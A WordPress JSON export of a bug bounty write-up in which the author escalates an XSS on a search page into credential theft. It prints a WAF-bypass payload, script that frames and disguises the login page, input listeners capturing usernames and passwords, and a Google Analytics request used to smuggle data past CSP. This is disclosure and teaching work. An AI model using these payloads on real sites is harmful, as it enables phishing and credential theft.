{"id":520,"date":"2025-10-31T13:03:26","date_gmt":"2025-10-31T12:03:26","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=520"},"modified":"2026-04-27T22:18:25","modified_gmt":"2026-04-27T20:18:25","slug":"waf-bypass-and-credential-theft-with-xss-and-google-analytics","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/waf-bypass-and-credential-theft-with-xss-and-google-analytics\/","title":{"rendered":"WAF bypass and credential theft with XSS and Google Analytics"},"content":{"rendered":"

Hello<\/p>\n

In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics… well, almost \ud83d\ude09
\nI was testing the website and inserted “><u>aaa<\/u> into the main search bar without big expectations.\u00a0 I was really surprised when I saw aaa.<\/u>
\nNext step was to try XSS payload <img src=”x” \/>. What I saw in response was a 403 error. No luck.<\/p>\n

Bypassing WAF<\/h3>\n

I ran Turbo Intruder in Burp, collected all HTML tags and attributes, and started fuzzing. Some HTML tags were allowed, but whenever I tried to insert some events such as “onerror’, I was always blocked with a 403 error :(.<\/p>\n

Next, I tried to bypass the WAF using special characters like %00, %0d, and %0a. Guess what? It worked \ud83d\ude42 That was the working XSS payload:<\/p>\n

<img%20src=x%20o%200nerror=alert(document%00.domain)><\/code><\/pre>\n
Ok, I could report it right away, but I decided to increase the impact. As the session cookie had the HTTP-only flag set, I could not read it with js, so I decided to steal credentials while the users logs in.<\/p>\n
Redressing the page<\/h3>\n
Suppose the search page was on:<\/p>\n
https:\/\/target.com\/search<\/pre>\n
and the login form was on:<\/p>\n
https:\/\/target.com\/login<\/pre>\n
I had to redesign the search page to resemble the login page, add listeners that capture the credentials as the user logs in, and send them to the attacker’s site. I framed the \/login endpoint into the \/search page, styled it with CSS to match the \/login endpoint’s appearance, then changed the document title to match the\/login page’s title, and finally, changed the visible URL in the browser address bar and history.pushState() command.<\/p>\n
That was the code: to iframe the \/login page and style the \/search page:<\/p>\n
\r\ndocument.body.innerHTML = \"\";\r\ndocument.body.appendChild(Object.assign(document.createElement('iframe'), { id:'frm',src: 'https:\/\/target.com\/login',style: 'position:fixed;top:0; left:0;bottom:0;right:0;width:100%;height:100%;top:0;left:0;bottom:0;right:0;border:none;margin:0;padding:0;overflow:hidden;'})); document.title=\"target.com | account login\";\r\nhistory.pushState(\"\", \"\", \"\/login\");\r\n<\/code><\/pre>\n
Now it’s time for listeners:<\/p>\n
\r\niframe=document.getElementById(\"frm\"),iframe.onload=()=>{const e=iframe.contentDocument||iframe.contentWindow.document,n=e.querySelector(\"input#loginUsername\"),o=e.querySelector(\"input#loginPassword\");n&&n.addEventListener(\"input\",(()=>{user=n?.value||\"\",console.log(\"username:\"+user)})),o&&o.addEventListener(\"input\",(()=>{pass=o?.value||\"\",console.log(\"password:\"+pass)}))};\r\n<\/code><\/pre>\n
Note, I needed to use the iframe onload event, so that the listener waits until the frame content is loaded. Otherwise, the code wasn’t working because it could not find the form fields. I prepared this POC with printing credentials on the dev console. Why?<\/p>\n
Bypassing CSP<\/h3>\n
The CSP blocked the outgoing connections, and I was unable to exfiltrate this data in any way. Without this part, they could say that it is not a vulnerability, as the attacker can’t steal the credentials. I analyzed the CSP headers and noticed that the Google Analytics URL was allowed. This way, I could use it to exfiltrate the data as a Google Analytics event name. So I googled a bit and found this blog post:<\/p>\n
https:\/\/labs.detectify.com\/how-to\/using-google-analytics-for-data-extraction\/<\/a><\/p>\n
The easiest way was to intercept the real GA\u00a0 request from my website to the GA server in Burp and change the value of the “en” parameter. This way, I\u00a0 could see the data in the GA panel as the event name. I removed all other parameters from the request here:<\/p>\n
 <\/p>\n
POST \/g\/collect?v=2&tid=&gtm=&_p=&gcd=&npa=1&dma_cps=&dma=1&cid=&ul=pl&frm=0&pscdl=noapi&_s=1&sid=&sct=1&seg=0&dl=&en=exfiltrated_data<\/strong>&_fv=1&_nsi=1&_ss=1&_ee=1&tfd=HTTP\/1.1\r\nHost: region1.google-analytics.com\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko\/20100101 Firefox\/144.0\r\nAccept: *\/*\r\nAccept-Language: pl,en-US;q=0.7,en;q=0.3\r\nAccept-Encoding: gzip, deflate, br\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=6\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Length: 0\r\nTe: trailers\r\nConnection: keep-alive\r\n<\/code><\/pre>\n
\"\"
\n
\nAnd this worked… partially. I mean, it was slow. While experimenting, the data appeared after one day in the GA panel. Well, I didn’t want to wait due to the possibility of duplication, so I decided to take the risk and send the report. I pointed out that creating a full working POC takes time using GA, so for now, I am providing a console.log-based POC. And they replied there, “No problem – the impact will be marked as High”. So I didn’t have to finish the full POC this time.<\/p>\n
Impact: High
\nReward: 500 USD<\/p>\n
See you next bug<\/p>\n","protected":false},"excerpt":{"rendered":"
Hello In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics… well, almost \ud83d\ude09 I was testing the website and inserted “><u>aaa<\/u> into the main search bar without big expectations.\u00a0 I was really surprised when I saw aaa. Next step was…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,32,42,29],"tags":[],"class_list":["post-520","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-bug-bounty","category-csp","category-write-up"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=520"}],"version-history":[{"count":15,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520\/revisions"}],"predecessor-version":[{"id":537,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/520\/revisions\/537"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}